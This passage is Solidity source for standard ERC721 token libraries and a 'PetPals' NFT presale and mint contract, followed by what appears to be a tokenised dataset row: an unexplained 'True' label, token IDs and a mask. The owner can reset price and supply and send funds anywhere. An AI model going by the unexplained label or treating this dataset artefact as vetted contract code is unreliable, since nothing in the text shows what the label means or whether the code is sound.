function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// Accessing the Ownable method ensures that only the creator of this Smart contract can interact with it
contract PetPals is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public maxSupply = 500;
string currentcontractURI = "https://metadata.petpals.io/contract.json";
uint256 public price = 0.11 ether;
string private _baseTokenURI = "https://metadata.petpals.io/";
mapping (address => bool) public presaleAddress;
bool public isPresale = true;
event Mint(
address indexed to,
uint256 indexed id);
constructor() ERC721("PetPals", "PP") {}
function createPPetPal() external payable returns (bool) {
require(isPresale == true, "createPPetPal: Pre-sale ended!");
require(totalSupply() < maxSupply, "createPPetPal: creation must not exceed maximum supply");
require(price == msg.value, "createPPetPal: value must match accumulated price");
require(presaleAddress[_msgSender()] == true, "createPPetPal: Not Authorised to buy");
uint256 mintIndex = totalSupply();
_safeMint(_msgSender(), mintIndex);
emit Mint(_msgSender(), mintIndex);
return true;
}
function createPetPals(uint256 amount) external payable returns (bool) {
require(isPresale != true, "createPPetPal: Pre-sale not ended!");
require(amount > 0, "createPetPals: value must not be zero");
require(totalSupply() + amount <= maxSupply, "createPetPals: creation must not exceed maximum supply");
require(price * amount == msg.value, "createPetPals: value must match accumulated price");
for (uint256 i = 0; i < amount; i++) {
uint256 mintIndex = totalSupply();
_safeMint(_msgSender(), mintIndex);
emit Mint(_msgSender(), mintIndex);
}
return true;
}
function registerForPreSale(address user) external onlyOwner returns (bool){
require(presaleAddress[user] == false, "Address already present");
presaleAddress[user] = true;
return true;
}
function withdrawFunds(uint256 withdrawAmount) external onlyOwner returns (bool) {
uint256 balance = address(this).balance;
require(balance > 0, "withdrawFunds: must have funds to withdraw");
require(withdrawAmount <= balance, "Can not withdraw more than available");
payable(msg.sender).transfer(withdrawAmount);
return true;
}
function transferFund(uint256 transferAmount, address transferTo) external onlyOwner returns (bool){
uint256 amount = address(this).balance;
require(transferAmount <= amount, "Can not withdraw more than available");
(bool success,) = transferTo.call{value: transferAmount}("");
require(success, "Failed to send ether");
return true;
}
function setBaseURI(string memory baseURI) external onlyOwner returns (bool) {
_baseTokenURI = baseURI;
return true;
}
function setPreSale(bool _isPresale) external onlyOwner returns (bool) {
isPresale = _isPresale;
return true;
}
function updateContractURI(string memory newContractURI) external onlyOwner returns (bool){
currentcontractURI = newContractURI;
return true;
}
function setPrice(uint256 amount) external onlyOwner returns (bool) {
_setPrice(amount);
return true;
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner returns (bool) {
maxSupply = _maxSupply;
return true;
}
function _setPrice(uint256 amount) private {
price = amount;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function contractURI() public view returns (string memory) {
return currentcontractURI;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
2539,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
5840,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
6185,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
2581,
17465,
19204,
8393,
8278,
1008,
1030,
16475,
8278,
2005,
2151,
3206,
2008,
4122,
2000,
2490,
3647,
6494,
3619,
24396,
1008,
2013,
9413,
2278,
2581,
17465,
11412,
8311,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2890,
3401,
16402,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
7188,
2019,
1063,
29464,
11890,
2581,
17465,
1065,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2000,
2023,
3206,
3081,
1063,
29464,
11890,
2581,
17465,
1011,
3647,
6494,
3619,
7512,
19699,
5358,
1065,
1008,
2011,
1036,
6872,
1036,
2013,
1036,
2013,
1036,
1010,
2023,
3853,
2003,
2170,
1012,
1008,
1008,
2009,
2442,
2709,
2049,
5024,
3012,
27000,
2000,
12210,
1996,
19204,
4651,
1012,
1008,
2065,
2151,
2060,
3643,
2003,
2513,
2030,
1996,
8278,
2003,
2025,
7528,
2011,
1996,
7799,
1010,
1996,
4651,
2097,
2022,
16407,
1012,
1008,
1008,
1996,
27000,
2064,
2022,
4663,
1999,
5024,
3012,
2007,
1036,
29464,
11890,
2581,
17465,
1012,
2028,
11890,
2581,
17465,
2890,
3401,
3512,
2094,
1012,
27000,
1036,
1012,
1008,
1013,
3853,
2028,
11890,
2581,
17465,
2890,
3401,
3512,
2094,
1006,
4769,
6872,
1010,
4769,
2013,
1010,
21318,
3372,
17788,
2575,
19204,
3593,
1010,
27507,
2655,
2850,
2696,
2951,
1007,
6327,
5651,
1006,
27507,
2549,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
